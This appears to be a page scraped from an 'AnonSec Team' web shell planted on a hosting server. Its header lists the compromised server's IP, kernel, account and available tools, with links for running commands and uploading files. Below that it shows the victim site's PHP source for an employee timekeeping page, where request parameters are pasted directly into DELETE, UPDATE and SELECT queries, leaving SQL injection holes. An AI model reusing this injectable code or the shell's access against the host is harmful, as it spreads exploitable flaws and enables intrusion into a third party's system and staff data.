AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.216.233
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/logmcpe/www/TEST/../TMCPRO/pages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/TEST/../TMCPRO/pages/jour_restant.php
<?php

include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;

// exit() ;

session_start();

// echon "<pre>" ;
// print_r(a$_GET) ;
// echo "<pre>" ;
if(!empty($_GET))
{
$idprod=$_GET['id'];
// echo "==> $idprod <br/>" ;
	dbi_query("delete from telepointage where id_p = $idprod  ") ;
header('Location:testftp.php');
}

if($_POST['modifier']== "modifier"){
	$idprodm=$_POST['idprodm'] ;
	$salarie_id=$_POST['salarie_id'] ;

	// echo "==> $idprodm <br/>" ;
	// exit() ;

	dbi_query("UPDATE telepointage SET matricule = $salarie_id  WHERE id_p = $idprodm  ") ;


	header('Location:testftp.php');
}


	






?><html>

			<head>

			<?php include('header.php'); ?>


			</head>

<body class="hold-transition sidebar-mini">



<!-- Site wrapper -->
<div class="wrapper">

				<!-- TOP MENU -->
												<nav class="main-header navbar navbar-expand navbar-white navbar-light">
													<ul class="navbar-nav">
															<li class="nav-item">
																	<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
															</li>


													</ul>
												</nav>


<!-- BARRE DE NAVIGATION -->


<aside class="main-sidebar sidebar-dark-primary elevation-4">

	<!-- Brand Logo -->
	<a href="index3.html" class="brand-link">
		<img src="dist/img/logomcpro.png" alt="AdminLTE Logo" class="brand-image img-circle elevation-3"
				 style="opacity: .8">
		<span class="brand-text font-weight-light">MC PRO</span>
	</a>

	<!-- Sidebar -->
	<div class="sidebar">
		<!-- Sidebar user panel (optional) -->
		<div class="user-panel mt-3 pb-3 mb-3 d-flex">
			<div class="image">
				<img src="dist/img/user2-160x160.jpg" class="img-circle elevation-2" alt="User Image">
			</div>
			<div class="info">
				<a href="#" class="d-block">Steeven ROBLOT</a>
			</div>
		</div>

	<?php include('menu.php'); ?>

		<!-- Sidebar Menu -->

	</div>
	<!-- /.sidebar -->
</aside>






 <!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
  <div class="content-wrapper">

		<section class="content-header">
		 <div class="container-fluid">
			 <div class="row mb-2">
				 <div class="col-sm-6">
					 <h1>x</h1>
				 </div>
				 <div class="col-sm-6">
					 <ol class="breadcrumb float-sm-right">
						 <li class="breadcrumb-item"><a href="index.php">Accueil</a></li>
						 <li class="breadcrumb-item"><a href="indexpointages3.php">x</a></li>
						 <li class="breadcrumb-item active">x </li>
					 </ol>
				 </div>
			 </div>
		 </div><!-- /.container-fluid -->
		</section>
    <!-- Content Header (Page header) -->

													<div class="row mb-2">
																			<div  class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in"  aria-labelledby="myLargeModalLabel" >
																			  <div class="modal-dialog modal-lg">
																				<div class="modal-content data">
																					<div id="fetch" >
																					</div>

																					</div>
																				</div>
																			</div>
													</div><!-- /.row -->

												<!-- /.content-header -->

    <!-- PAGE PRINCIPALE -->





				<section class="content">
					<div class="row">
						<div class="col-12">
							<div class="card">

									<div class="card-body">





<?php

if(!empty($_POST['mois']))
{

$ismai = $_POST['ans']."".$_POST['mois']  ;
}
else
{
	$ismai =  date("Ym") ;
	// echo "ppp=> $ismai <br/>" ;
}



// $_SESSION['favcolor'] = 'green';
// if(!empty($_GET['idans']))
// {
	// $_SESSION['idans'] = $_GET['idans'];
// }
// elseif(empty($_GET['id']))
// {
// $_SESSION['idans']  = date("Ym");
// }
// $ismai = date("m");

// $an = $_SESSION['idans'] ;

// if(!empty($_GET['id']))
// {
	// $ismai=$an."".$_GET['id'] ;
// }


// if(empty($_GET['id']))
// {
	// $ismai = $an."".$ismai  ;
// }

 $qa = dbi_query(" SELECT * FROM `verification_pointage` WHERE `date` LIKE '$ismai%' ") ;
   list($indi) = dbi_fetch_row(dbi_query("SELECT COUNT(*) FROM `verification_pointage` WHERE `date` LIKE '$ismai%' and valide = 0")) ; 
 // echo "===>$an <br/>" ;
// echo "===>$ismai <br/>" ;
// echo "<pre>" ;
// print_r($_GET) ;
// echo "<pre>" ;

?>

							<form id="bureau_mois" name="mois_form" method="POST" action="">
							  <div class="form-row">
								<div class="form-group col-md-4">
								  <div class="input-group">
									  <?php $qm = dbi_query("SELECT *  FROM `client` WHERE `client_statut` = '1'") ; ?>
											  <select class="form-control select" style="width: 100%;"  name="mois" onchange="GetIdmois()";>
												<option selected="selected">selectionner un mois  </option>
												<option  value='01'> Janvier   </option>
												<option  value='02'> F&#233;vrier   </option>
												<option  value='03'> Mars   </option>
												<option  value='04'> Avril   </option>
												<option  value='05'> Mai   </option>
												<option  value='06'> Juin   </option>
												<option  value='07'> Juillet   </option>
												<option  value='08'> Aout   </option>
												<option  value='09'> Septembre   </option>
												<option  value='10'> Octobre   </option>
												<option  value='11'> Novembre   </option>
												<option  value='12'> Décembre   </option>
											  </select>
									</div>
								</div>



								<div class="form-group col-md-4">
									 <div class="input-group">
											  <select class="form-control select" style="width: 100%;"  name="ans" onchange="GetIdans()";>
												<option selected="selected">selectionner un ann&#233;e  </option>

													<option  value='2020'> 2020   </option>
													<option  value='2021'> 2021   </option>
													<option  value='2022'> 2022   </option>
													<option  value='2023'> 2023   </option>
													<option  value='2024'> 2024   </option>
													<option  value='2025'> 2025   </option>
													<option  value='2026'> 2026   </option>
											  </select>
				                   </div>
	                            </div>


								<div class="form-group col-md-4">
									 <div class="input-group">
											<button type="submit" name="Afficher" class="btn btn-primary">Afficher </button>
								   </div>
							   </div>
						</div>
						</form>






										<div class="onglet_dotted">
											<div style="width:100%; float:left; vertical-align:top" class="header_ray">
												<div id="tab">
													<div class="box-body">
													
													  <?php 
													  if($indi == 0)
													  {
														echo " Ce mois ne pas encore enregitrer" ;  
													  }else{
													  echo "les jours restant sans verfications <br/>" ; 
													  while($tel = dbi_fetch_row($qa)) { 
                                                       if($tel['valide'] == 0){
														    ?>
													  <a href="Pres_jours2_new.php?date_j=<?=$tel['date']?>" target="" ><?php  echo int2date($tel['date'])."<br/>" ;  ?> </a></td>
													  <?
													  
													   }
													    // echo $tel['pointage_validee']."==".$tel['pointage_reel']."<br/>" ;
													    if($tel['valide'] == 1 and  $tel['pointage_validee'] != $tel['pointage_reel']){
														    ?>
													  <a href="Pres_jours2_new.php?date_j=<?=$tel['date']?>" target="" ><?php  echo int2date($tel['date'])." (excès de pointage) <br/>" ;  ?> </a></td>
													  <?
													   }
                                                       
														

													  }}
														?>
														
														
														
													</div><!-- /.box-body -->
												</div><!-- /.tab -->
											</div><!-- /.header_ray -->
										</div><!-- /.onglet_dotted -->
								    </div><!-- /.card-body -->
							    </div><!-- /.card card-primary card-outline -->
							</div> <!-- /.col-12 -->
						</div>  <!-- /.row -->
				</section> <!-- /.section -->




	</div>


<?php include('footerr.php'); ?>
<script type="text/javascript">
$(document).ready(function(){
    $('#myModal').on('show.bs.modal', function (e) {
        var rowid = $(e.relatedTarget).data('id');
        $.ajax({
            type : 'post',
            url : 'ajaxAjoutMatR.php', //Here you will fetch records
            data :  'rowid='+ rowid, //Pass $id
            success : function(data){
            $('#fetch').html(data);//Show fetched data from database
            }
        });
     });
});


</script>

</body>
</html>

AnonSec - 2021